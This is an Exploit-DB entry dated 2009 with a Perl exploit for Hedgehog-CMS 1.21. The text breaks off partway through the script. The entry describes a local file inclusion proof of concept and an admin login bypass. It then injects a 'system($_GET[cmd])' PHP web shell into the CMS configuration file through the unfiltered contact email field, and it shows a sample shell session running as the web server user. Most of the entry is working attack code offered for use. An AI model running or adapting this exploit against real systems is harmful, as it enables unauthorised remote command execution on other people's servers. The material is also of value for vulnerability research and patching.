Exploit-DB #8028
Description: Hedgehog-CMS 1.21 - Local File Inclusion / Remote Command Execution
Type: webapps
Platform: php
Date: 2009-02-09
Author: Osirys

Exploit:
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :   Hedgedog-CMS 1.21                                                                                             |
# |Download        :   http://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip                                |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Command Execution Exploit                                                                                                  |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Thx&Greets to: evilsocket, athum                                                                                                  |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Local File Inclusion]
# |  p0c : /[path]/includes/footer.php?c_temp_path=[lf]%00
# |  In source $c_temp_path is not declared, so if register_globals = On we can set its value from GET directly.
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Abitrary php code writing]
# |  This cms is not coded too good, we can bypass admin login just doing it via socket or lwp with $_POST[l_mode].
# |  From admin panel everything before beeing passed in a file is filtered with htmlspecialchars and other fucntions,
# |  expect of the email contact variable, that's the hell bug.
# |  The sploit before overwriting a previous configuration, tries to get the old one, then it executes your commands.
# |----------------------------------------------------------------------------------------------------------------------------------|


# ------------------------------------------------------------------
# Exploit in action [>!]
# ------------------------------------------------------------------
# osirys[~]>$ perl lolzo.txt http://localhost/hedgehog-cms/
#
#   --------------------------------
#       Hedgedog-CMS RCE Exploit
#               by Osirys
#   --------------------------------
#
# [*] Getting old configuration data ..
# [*] Overwriting configuration data ..
# [*] Overwrite succesfully !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/hedgehog-cms/config
# shell[localhost]$> la 
# bash: la: command not found
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $post_pag  =  "/specialacts.php";
my $rce_path  =  "/config/userconfig.php";
my $rce_c0de  =  "%22%3Bsystem%28%24_GET%5Bcmd%5D%29%3B+%24xy+%3D+%22";
my $host      =  $ARGV[0];


($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $ua_url = $host.$post_pag;
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $ua_url,
                                    Content_Type => 'multipart/form-data',
                                    Content	 => [l_mode => '33']
                     );

if ($re->is_success) {
    $data = $re->content;
    print "[*] Getting old configuration data ..\n";
    get_old_data($data);
    &overwrite;
}
else {
    print "[-] Unable to get old configuration data ..\n";
    print "[*] Overwriting existing configuration !   \n";
    &overwrite;
}

sub overwrite {
    if ($old_data_gotcha != 1) {
        $title     =  "Website";
        $username  =  "Username";
        $contact   =  "admin\@admin.com";
        $copyright =  "2007 website";
    }

    my $url = $path.$post_pag;

    my $code=  "e_maintitle=". $title."&e_autor=".$username."&e_contact=". $contact. $rce_c0de.
               "&e_copyright=".$copyright."&e_theme=.%2Ftemp%2Fstrawberry%2F&e_language=engli".
               "sh.lng&e_favicon=&e_sp=true&e_version=true&e_guestbook=true&l_mode=35";

    my $length = length($code);

    my $data = "POST ".$url." HTTP/1.1\r\n".
               "Host: ".$h0st."\r\n".
               "Keep-Alive: 300\r\n".
               "Connection: keep-alive\r\n".
               "Content-Type: application/x-www-form-urlencoded\r\n".
               "Content-Length: ".$length."\r\n\r\n".
               $code."\r\n";

    my $socket   =  new IO::Socket::INET(
                                         PeerAddr => $h0st,
                                         PeerPort => '80',
                                         Proto    => 'tcp',
                                        ) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";

    print "[*] Overwriting configuration data ..\n";
    $socket->send($data);

    while ((my $e = <$socket>)&&($own != 1)) {
        if ($e =~ /The configurations have been saved successfully/) {
            print "[*] Overwrite succesfully !\n";
            $own = 1;
        }
    }

    $own == 1 || die "[-] Can't overwrite configuration data !\